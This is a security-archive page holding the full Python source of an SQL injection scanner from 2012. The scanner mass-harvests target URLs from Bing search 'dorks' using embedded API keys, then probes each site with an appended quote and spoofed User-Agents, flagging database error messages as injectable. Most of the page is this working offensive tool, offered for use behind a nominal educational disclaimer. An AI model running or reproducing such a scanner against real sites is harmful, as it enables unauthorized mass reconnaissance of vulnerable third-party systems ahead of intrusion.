Twenty Year Anniversary

darkBing SQL Scanner 0.1

darkBing SQL Scanner 0.1
Posted Apr 4, 2012
Authored by baltazar

darkBing is a tool written in python that leverages bing for mining data on systems that may be susceptible to SQL injection.

tags | tool, scanner, sql injection, python
systems | unix
MD5 | d3a90ba7500c7455dcd8a7b7f9adaa90

darkBing SQL Scanner 0.1

Change Mirror Download
#!/usr/bin/python
# This was written for educational purpose and pentest only. Use it at your own risk.
# Author will be not responsible for any damage!
# !!! Special greetz for my friend sinner_01 !!!
# Toolname : darkBing.py
# Coder : baltazar a.k.a b4ltazar < b4ltazar@gmail.com>
# Version : 0.1
# Greetz for rsauron and low1z, great python coders
# greetz for d3hydr8, r45c4l, qk, fx0, Soul, MikiSoft, c0ax, b0ne, tek0t and all members of ex darkc0de.com & ljuska.org

import sys, subprocess, re, Queue, urllib, urllib2, threading, random
from xml.dom import minidom
from optparse import OptionParser
from time import sleep


def logo():
print "\n|---------------------------------------------------------------|"
print "| b4ltazar[@]gmail[dot]com |"
print "| 03/2012 darkBing.py v.0.1 |"
print "| b4ltazar.wordpress.com & ljuska.org |"
print "| |"
print "|---------------------------------------------------------------|\n"


if sys.platform == 'linux' or sys.platform == 'linux2':
subprocess.call("clear", shell=True)
logo()
else:
subprocess.call("cls", shell=True)
logo()

threads = []
urls = []
vuln = []
pager = 50
counter = 0

header = ['Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.10 sun4u; X11)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100207 Ubuntu/9.04 (jaunty) Namoroka/3.6.2pre',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser;',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6)',
'Microsoft Internet Explorer/4.0b1 (Windows 95)',
'Opera/8.00 (Windows NT 5.1; U; en)',
'amaya/9.51 libwww/5.4.0',
'Mozilla/4.0 (compatible; MSIE 5.0; AOL 4.0; Windows 95; c_athome)',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)',
'Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.5 (like Gecko) (Kubuntu)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; ZoomSpider.net bot; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; QihooBot 1.0 qihoobot@qihoo.net)',
'Mozilla/4.0 (compatible; MSIE 5.0; Windows ME) Opera 5.11 [en]']

sqlerrors = {'MySQL': 'error in your SQL syntax',
'MiscError': 'mysql_fetch',
'MiscError2': 'num_rows',
'Oracle': 'ORA-01756',
'JDBC_CFM': 'Error Executing Database Query',
'JDBC_CFM2': 'SQLServer JDBC Driver',
'MSSQL_OLEdb': 'Microsoft OLE DB Provider for SQL Server',
'MSSQL_Uqm': 'Unclosed quotation mark',
'MS-Access_ODBC': 'ODBC Microsoft Access Driver',
'MS-Access_JETdb': 'Microsoft JET Database',
'Error Occurred While Processing Request' : 'Error Occurred While Processing Request',
'Server Error' : 'Server Error',
'Microsoft OLE DB Provider for ODBC Drivers error' : 'Microsoft OLE DB Provider for ODBC Drivers error',
'Invalid Querystring' : 'Invalid Querystring',
'OLE DB Provider for ODBC' : 'OLE DB Provider for ODBC',
'VBScript Runtime' : 'VBScript Runtime',
'ADODB.Field' : 'ADODB.Field',
'BOF or EOF' : 'BOF or EOF',
'ADODB.Command' : 'ADODB.Command',
'JET Database' : 'JET Database',
'mysql_fetch_array()' : 'mysql_fetch_array()',
'Syntax error' : 'Syntax error',
'mysql_numrows()' : 'mysql_numrows()',
'GetArray()' : 'GetArray()',
'FetchRow()' : 'FetchRow()',
'Input string was not in a correct format' : 'Input string was not in a correct format',
'Not found' : 'Not found'}

parser = OptionParser()

parser.add_option("-d", dest="dork", help="Dork for search", type="string")
parser.add_option("-c", dest="scan", help="Number of links to collect", type="int")
parser.add_option("-t", dest="nthreads", help="Number of threads", type="int")

try:
(options, args) = parser.parse_args()
if options.dork != None:
dork = options.dork
else:
parser.print_help()
sys.exit(1)

if options.scan != None:
pager = options.scan
else:
parser.print_help()
sys.exit(1)

if options.nthreads != None:
nthreads = options.nthreads
else:
parser.print_help()
sys.exit(1)

except(KeyboardInterrupt):
print "[-] Exiting, thanx for using tool, please visit ljuska.org & darkartists.info"
sys.exit(1)


def search(dork, page):
global urls

appids = ['01CDBCA91C590493EE4E91FAF83E5239FEF6ADFD', 'C2B36F733D8DCB48CE2E075CC145014122BE4724']
appid = random.choice(appids)
url = 'http://api.search.live.net/xml.aspx?Appid=%s&query=%s&sources=web&market=en-us&web.count=50&web.offset=%s' % (appid, urllib.quote(dork), str(page))
url_open = urllib2.urlopen(url)
xml = minidom.parse(url_open)
name = xml.getElementsByTagName('web:Url')
for n in name:
urls.append(n.childNodes[0].data)


class vulnScanner(threading.Thread):
def __init__(self, queue):
self.__queue = queue
threading.Thread.__init__(self)

def run(self):
global counter
while True:
url = self.__queue.get()
if url is None:
break

host = url+"'"
try:
request_web = urllib2.Request(host)
agent = random.choice(header)
request_web.add_header('User-Agent', agent)
source = urllib2.urlopen(request_web).read()
for type, eMSG in sqlerrors.items():
if re.search(eMSG, source):
if not url in vuln:
print "[!] w00t,w00t!: ", host,"Error: ",type, " ---> SQL Injection Found"
vuln.append(url)

except(KeyboardInterrupt):
print "[-] Exiting, thanx for using tool, please visit ljuska.org & darkartists.info"
sys.exit(1)
except:
pass

counter += 1

def startThreads():
queue = Queue.Queue(0)
for i in range(nthreads):
scan = vulnScanner(queue).start()

for i in range(len(urls)):
queue.put(urls[i])

for i in range(nthreads):
queue.put(None)

if __name__ == "__main__":
try:
print "[!] Dork: %s" % dork
print "[!] Sites to scan: %s" % pager
print "[!] Number of threads: %s" % nthreads


for i in range(0, (pager / 50)):
search(dork, 1+i)
print "[!] Number of collected urls: %s\n" % len(urls)
startThreads()
while counter < len(urls):
sleep(1)
print "\n[!] Vulnerable urls found: %s" % len(vuln)
print "[-] Exiting, thanx for using tool, please visit ljuska.org & darkartists.info"
sys.exit(1)
except(KeyboardInterrupt):
print "[-] Exiting, thanx for using tool, please visit ljuska.org & darkartists.info"
sys.exit(1)



Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    10 Files
  • 2
    Nov 2nd
    15 Files
  • 3
    Nov 3rd
    2 Files
  • 4
    Nov 4th
    2 Files
  • 5
    Nov 5th
    32 Files
  • 6
    Nov 6th
    27 Files
  • 7
    Nov 7th
    8 Files
  • 8
    Nov 8th
    9 Files
  • 9
    Nov 9th
    17 Files
  • 10
    Nov 10th
    2 Files
  • 11
    Nov 11th
    2 Files
  • 12
    Nov 12th
    33 Files
  • 13
    Nov 13th
    29 Files
  • 14
    Nov 14th
    23 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close